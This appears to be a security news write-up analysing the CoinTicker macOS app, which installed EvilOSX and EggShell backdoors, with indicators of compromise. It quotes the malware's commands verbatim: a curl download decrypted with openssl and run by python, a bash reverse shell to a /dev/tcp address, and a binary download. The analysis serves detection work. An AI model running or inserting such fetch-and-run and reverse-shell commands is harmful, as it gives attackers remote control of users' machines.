A cryptocurrency app, CoinTicker which is widely used in cryptocurrency industry pushing 2 different backdoors on Mac users to steal the cryptocurrency coins and other malicious activities.
CoinTicker app actually appears as a legitimate application that helps to peoples who is willing to enter into cryptocurrency industries and make an investment.
This is working in a way to displays the menu bar along with the different cryptocurrencies price along with the ICON.
CoinTicker App will also display the various cryptocurrencies price list , market, countries details where people can choose the different coin and name to know the current status of bitcoins.
One of the Malwarebyte’s forum member named 1vladimir experienced an unwanted behavior in this app and it performing various malicious activities in the backdoor of the Mac users.
Researchers believe that it could have been a supply chain attack, in which a legitimate app’s website is hacked to distribute a malicious version of the app.
Backdoor Installation and activities
Initially, once the App launched, it tried to download 2 different malicious components (EvilOSX and EggShell) installed into the user’s device and both backdoors referred as a open source.
Later it make an attempt to connect with command and control server download a custom-compiled version of the EggShell server for macOS.
nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/ master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py
According to Malwarebytes, The first part of the command downloads an encoded file from a Github page belonging to a user named “youarenick” and saves that file to a hidden file named .info.enc in /private/tmp/.
Next, it uses openssl to decode that file into a hidden Python file named .info.py. Finally, it executes the resulting Python script.
In this case, info.py perform various tasks and initially it using a command following command to connect with the C&C server.
nohup bash &> /dev/tcp/18.104.22.168/2280 0>&1
later it downloads the the EggShell mach-o binary, saving it to /tmp/espl:
curl -k -L -o /tmp/espl https://github.com/youarenick/newProject/raw/master/mac
Extracting the script reveals that it is the bot.py script from the EvilOSX backdoor made by Github user Marten4n6 and this script will communicate with a server at 22.214.171.124 on port 1339.
This both EggShell and EvilOSX are broad-spectrum backdoors that can be used for a variety of purposes.
Indicators of Compromise
/private/tmp/.info.enc /private/tmp/.info.py /private/tmp/.server.sh /private/tmp/espl ~/Library/LaunchAgents/.espl.plist ~/Library/LaunchAgents/com.apple.[random string].plist ~/Library/Containers/.[random string]/[random string]
CoinTicker.zip f4f45e16dd276b948dedd8a5f8d55c9e1e60884b9fe00143cb092eed693cddc4 espl efb5b32f87bfd6089912073cb33850c58640d59cb52d8c63853d97b4771bc490